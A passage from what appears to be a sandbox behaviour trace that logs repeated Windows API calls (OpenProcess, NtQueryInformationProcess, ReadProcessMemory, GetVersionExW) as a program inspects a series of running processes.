| out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0175.285] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5f1c20, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0175.285] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5f18c8, lpBuffer=0x670ffc3f0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0175.286] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0175.287] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0175.287] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x247020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.288] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5f12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0175.288] malloc (_Size=0x38) returned 0x196ef0d1890 [0175.288] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x5f18fe, lpBuffer=0x196ef0d1890, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d1890*, lpNumberOfBytesRead=0x0) returned 1 [0175.289] free (_Block=0x196ef0d1890) [0175.290] CloseHandle (hObject=0x26c) returned 1 [0175.428] _ui64tow_s (in: _Value=0xc3c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3132") returned 0x0 [0175.432] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3132") returned 4 [0175.433] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0175.433] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0175.509] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc3c) returned 0x26c [0175.509] GetLastError () returned 0x0 [0175.509] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0175.509] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x724018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0175.510] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0175.510] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x911d00, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0175.510] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x9118c8, lpBuffer=0x670ffc3f0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0175.511] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0175.512] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0175.512] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x724020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.512] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x9112b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0175.512] malloc (_Size=0x88) returned 0x196ef0d4f30 [0175.512] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x91194a, lpBuffer=0x196ef0d4f30, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0175.514] free (_Block=0x196ef0d4f30) [0175.514] CloseHandle (hObject=0x26c) returned 1 [0175.515] _ui64tow_s (in: _Value=0xc6c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3180") returned 0x0 [0175.751] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3180") returned 4 [0175.752] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0175.752] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0175.767] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc6c) returned 0x26c [0175.768] GetLastError () returned 0x0 [0175.768] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0175.768] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c2018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0175.768] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0175.768] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x711d40, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0175.768] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7118c8, lpBuffer=0x670ffc3f0, nSize=0x96, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0175.769] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0175.771] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0175.771] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4c2020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.771] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7112b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0175.771] malloc (_Size=0x9c) returned 0x196ef0d4f30 [0175.771] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x71195e, lpBuffer=0x196ef0d4f30, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d4f30*, lpNumberOfBytesRead=0x0) returned 1 [0175.772] free (_Block=0x196ef0d4f30) [0175.773] CloseHandle (hObject=0x26c) returned 1 [0175.773] _ui64tow_s (in: _Value=0xc88, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3208") returned 0x0 [0175.777] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3208") returned 4 [0175.778] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0175.778] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0175.937] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc88) returned 0x26c [0175.937] GetLastError () returned 0x0 [0175.937] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0175.938] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x14ee12a018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0175.938] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0175.938] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f644003670, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0175.938] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f6440032b4, lpBuffer=0x670ffc3f0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0175.939] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0175.940] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0175.940] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x14ee12a020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.941] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f644002c20, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0175.941] malloc (_Size=0xda) returned 0x196ef0d67b0 [0175.941] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1f64400330a, lpBuffer=0x196ef0d67b0, nSize=0xd8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.942] free (_Block=0x196ef0d67b0) [0175.942] CloseHandle (hObject=0x26c) returned 1 [0175.943] _ui64tow_s (in: _Value=0xca0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3232") returned 0x0 [0175.951] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3232") returned 4 [0175.952] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0175.952] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0175.967] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xca0) returned 0x26c [0175.967] GetLastError () returned 0x0 [0175.967] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0175.967] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x668018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0175.967] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0175.968] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a1c50, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0175.968] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a18c8, lpBuffer=0x670ffc3f0, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0175.969] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0175.970] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0175.970] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x668020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0175.970] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a12b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0175.970] malloc (_Size=0x48) returned 0x196ef0cc850 [0175.970] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1a190e, lpBuffer=0x196ef0cc850, nSize=0x46, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0cc850*, lpNumberOfBytesRead=0x0) returned 1 [0175.971] free (_Block=0x196ef0cc850) [0176.118] CloseHandle (hObject=0x26c) returned 1 [0176.119] _ui64tow_s (in: _Value=0x10c0, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4288") returned 0x0 [0176.123] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4288") returned 4 [0176.124] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0176.124] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0176.139] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10c0) returned 0x26c [0176.139] GetLastError () returned 0x0 [0176.139] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0176.139] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x24e018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0176.139] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0176.139] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x431c70, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0176.140] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x431948, lpBuffer=0x670ffc3f0, nSize=0x36, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0176.140] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0176.142] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0176.142] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x24e020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0176.142] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x431330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0176.142] malloc (_Size=0x3e) returned 0x196ef0cc850 [0176.142] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x43197e, lpBuffer=0x196ef0cc850, nSize=0x3c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0cc850*, lpNumberOfBytesRead=0x0) returned 1 [0176.143] free (_Block=0x196ef0cc850) [0176.143] CloseHandle (hObject=0x26c) returned 1 [0176.144] _ui64tow_s (in: _Value=0xab4, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="2740") returned 0x0 [0176.148] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="2740") returned 4 [0176.149] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0176.149] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0176.279] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xab4) returned 0x26c [0176.279] GetLastError () returned 0x0 [0176.279] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0176.279] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x385018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0176.279] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0176.279] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x401c90, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0176.279] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4018c8, lpBuffer=0x670ffc3f0, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0176.280] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0176.281] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0176.282] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x385020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0176.282] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x4012b0, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0176.282] malloc (_Size=0x64) returned 0x196ef0d0530 [0176.282] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x401926, lpBuffer=0x196ef0d0530, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d0530*, lpNumberOfBytesRead=0x0) returned 1 [0176.283] free (_Block=0x196ef0d0530) [0176.283] CloseHandle (hObject=0x26c) returned 1 [0176.285] _ui64tow_s (in: _Value=0x136c, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="4972") returned 0x0 [0176.289] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="4972") returned 4 [0176.290] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0176.290] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0176.305] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x136c) returned 0x26c [0176.305] GetLastError () returned 0x0 [0176.306] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc6c0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6c0, ReturnLength=0x0) returned 0x0 [0176.306] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x49d0568018, lpBuffer=0x670ffc690, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc690*, lpNumberOfBytesRead=0x0) returned 1 [0176.306] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x7ffa7bfc5220, lpBuffer=0x670ffc680, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc680*, lpNumberOfBytesRead=0x0) returned 1 [0176.306] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1bd3c7c1d60, lpBuffer=0x670ffcaa0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffcaa0*, lpNumberOfBytesRead=0x0) returned 1 [0176.306] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1bd3c7c1948, lpBuffer=0x670ffc3f0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc3f0*, lpNumberOfBytesRead=0x0) returned 1 [0176.307] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x1, ProcessInformation=0x670ffc6f0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc6f0, ReturnLength=0x0) returned 0x0 [0176.308] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x0, ProcessInformation=0x670ffc1c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x670ffc1c8, ReturnLength=0x0) returned 0x0 [0176.308] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x49d0568020, lpBuffer=0x670ffc1b0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc1b0*, lpNumberOfBytesRead=0x0) returned 1 [0176.308] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1bd3c7c1330, lpBuffer=0x670ffc200, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x670ffc200*, lpNumberOfBytesRead=0x0) returned 1 [0176.309] malloc (_Size=0xf0) returned 0x196ef0d67b0 [0176.309] ReadProcessMemory (in: hProcess=0x26c, lpBaseAddress=0x1bd3c7c1988, lpBuffer=0x196ef0d67b0, nSize=0xee, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x196ef0d67b0*, lpNumberOfBytesRead=0x0) returned 1 [0176.309] free (_Block=0x196ef0d67b0) [0176.369] CloseHandle (hObject=0x26c) returned 1 [0176.369] _ui64tow_s (in: _Value=0xd24, _Buffer=0x670ffd5c0, _BufferCount=0x104, _Radix=10 | out: _Buffer="3364") returned 0x0 [0176.374] _vsnwprintf (in: _Buffer=0x670ffd2e0, _BufferCount=0x103, _Format="%lu", _ArgList=0x670ffc668 | out: _Buffer="3364") returned 4 [0176.375] GetVersionExW (in: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x670ffc720*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0176.375] _vsnwprintf (in: _Buffer=0x670ffd0d0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x670ffc668 | out: _Buffer="10.0.10586") returned 10 [0176.390] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xd24) returned 0x26c [0176.390] GetLastError () returned 0x0 [0176.390] 